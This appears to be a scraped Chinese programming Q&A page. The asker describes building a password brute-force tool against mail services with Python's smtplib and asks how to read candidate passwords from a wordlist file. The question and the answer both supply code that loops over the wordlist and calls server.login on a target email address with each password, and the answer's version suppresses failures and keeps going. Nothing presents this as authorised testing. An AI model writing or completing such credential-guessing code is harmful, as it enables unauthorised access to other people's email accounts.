首页 > 解决方案 > 如何在 python 中将特定行作为蛮力工具的输入

问题描述

我已经使用smtplib 模块为顶级邮件服务创建了一个暴力破解工具,但我遇到了一个问题。问题是如何将文本文件作为输入。

我希望该工具应该从 wordlist 的第一行获取密码并尝试它,然后它会移动到下一个密码并尝试它。

我尝试的是: -

def wordlist():
    global file
    file = open('file.txt')
    global max_line
    max_line = int(input("Please enter the number of passwords (lines) in the worldist: "))
    global line
    line = file.readlines()
    global line_no
    line_no = 0
    main()

def main():
    line_no+=1
    while max_line!=line_no:
        server.login('target@email.com', line[count])
        line_no+=1

if __name__ == "__main__":
    wordlist()

简而言之,我想创建一个循环,其中该工具应该从 wordlist 中获取第一个密码并尝试它,然后移动到下一个

标签: pythonsmtpbrute-forcetxt

解决方案


passwords=passwordsText.split("\n")
for i in passwords:
    try:
        server.login('target@email.com', str(i))
    except Exception:
        continue

也许像这样。


推荐阅读